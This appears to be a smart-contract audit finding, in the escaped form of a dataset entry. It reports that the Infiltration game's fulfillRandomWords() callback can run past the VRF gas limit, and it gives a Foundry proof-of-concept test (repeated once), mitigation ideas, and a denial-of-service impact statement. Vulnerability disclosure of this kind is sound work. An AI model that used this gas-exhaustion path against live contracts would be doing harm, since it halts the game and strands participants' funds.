fulfillRandomWords() could revert under certain circumstances
Crucial part of my POC is the variable AGENTS_TO_WOUND_PER_ROUND_IN_BASIS_POINTS. I communicated with the protocol's team that they plan to set it to 20 initially but it is possible to have a different value for it in future. For the POC i used 30.\\n```\\nfunction test_fulfillRandomWords_revert() public {\\n        _startGameAndDrawOneRound();\\n\\n        _drawXRounds(48);\\n        \\n        uint256 counter = 0;\\n        uint256[] memory wa = new uint256[](30);\\n        uint256 totalCost = 0;\\n\\n        for (uint256 j=2; j <= 6; j++) \\n        {\\n            (uint256[] memory woundedAgentIds, ) = infiltration.getRoundInfo({roundId: j});\\n\\n            uint256[] memory costs = new uint256[](woundedAgentIds.length);\\n            for (uint256 i; i < woundedAgentIds.length; i++) {\\n                costs[i] = HEAL_BASE_COST;\\n                wa[counter] = woundedAgentIds[i];\\n                counter++;\\n                if(counter > 29) break;\\n            }\\n\\n            if(counter > 29) break;\\n        }\\n        \\n        \\n        totalCost = HEAL_BASE_COST * wa.length;\\n        looks.mint(user1, totalCost);\\n\\n        vm.startPrank(user1);\\n        _grantLooksApprovals();\\n        looks.approve(TRANSFER_MANAGER, totalCost);\\n\\n\\n        infiltration.heal(wa);\\n        vm.stopPrank();\\n\\n        _drawXRounds(1);\\n    }\\n```\\n\\nI put this test into Infiltration.startNewRound.t.sol and used --gas-report to see that the gas used for fulfillRandomWords exceeds 2 500 000.
A couple of ideas :\\nYou can limit the value of AGENTS_TO_WOUND_PER_ROUND_IN_BASIS_POINTS to a small enough number so that it is 100% sure it will not reach the gas limit.\\nConsider simply storing the randomness and taking more complex follow-on actions in separate contract calls as stated in the "Security Considerations" section of the VRF's docs.
DOS of the protocol and inability to continue the game.
```\\nfunction test_fulfillRandomWords_revert() public {\\n        _startGameAndDrawOneRound();\\n\\n        _drawXRounds(48);\\n        \\n        uint256 counter = 0;\\n        uint256[] memory wa = new uint256[](30);\\n        uint256 totalCost = 0;\\n\\n        for (uint256 j=2; j <= 6; j++) \\n        {\\n            (uint256[] memory woundedAgentIds, ) = infiltration.getRoundInfo({roundId: j});\\n\\n            uint256[] memory costs = new uint256[](woundedAgentIds.length);\\n            for (uint256 i; i < woundedAgentIds.length; i++) {\\n                costs[i] = HEAL_BASE_COST;\\n                wa[counter] = woundedAgentIds[i];\\n                counter++;\\n                if(counter > 29) break;\\n            }\\n\\n            if(counter > 29) break;\\n        }\\n        \\n        \\n        totalCost = HEAL_BASE_COST * wa.length;\\n        looks.mint(user1, totalCost);\\n\\n        vm.startPrank(user1);\\n        _grantLooksApprovals();\\n        looks.approve(TRANSFER_MANAGER, totalCost);\\n\\n\\n        infiltration.heal(wa);\\n        vm.stopPrank();\\n\\n        _drawXRounds(1);\\n    }\\n```\\n